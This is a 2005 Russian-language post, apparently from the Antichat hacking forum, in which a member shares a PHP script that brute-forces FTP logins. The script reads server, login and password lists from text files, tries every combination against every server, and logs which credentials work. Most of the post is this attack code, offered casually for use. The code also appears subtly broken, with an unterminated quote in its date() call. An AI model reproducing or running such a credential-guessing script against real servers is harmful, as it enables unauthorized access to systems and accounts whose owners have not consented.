
26.04.2005, 18:57
|
|
Познавший АНТИЧАТ
Регистрация: 26.11.2004
Сообщений: 1,149
Провел на форуме: 941818
Репутация:
569
|
|
Пинцет, ну четакого сложного то тут?
PHP код:
<?
set_time_limit(0);
$data['login']=file("login.txt");
$data['passwd']=file("passwd.txt");
$data['servers']=file("server.txt");
foreach($data['servers'] AS $server){
foreach($data['login'] AS $login){
foreach($data['passwd'] AS $passwd){
if($connect=@ftp_connect($server)){
if (@ftp_login($connect, $login, $passwd)) {
$f=fopen('log.txt', 'a');
fwrite($f, '['.date('d.m.Y H:i:s).'] ('.$server.' '.$login.':'.$passwd.') >> Логин и пароль подошли.\n');
fclose($f);
}else{
$f=fopen('log.txt', 'a');
fwrite($f, '['.date('d.m.Y H:i:s).'] ('.$server.' '.$login.':'.$passwd.') коннект не удался. Логин и пароль не подошли.\n');
fclose($f);
}
}else{
$f=fopen('log.txt', 'a');
fwrite($f, '['.date('d.m.Y H:i:s).'] ('.$server.' '.$login.':'.$passwd.') коннект не удался. Сервер не доступен.\n');
fclose($f);
};
}
}
}
?>
Скрипт берет инфу из файлов server.txt, login.txt и passwd.txt. Ко всем IP адресам, имеющимся в server.txt поочереди подбираются все логины из login.txt, в свое время ко всем логинам подбираются все пароли с passwd.txt. Все пишется в лог. Вроде так...
|
|
|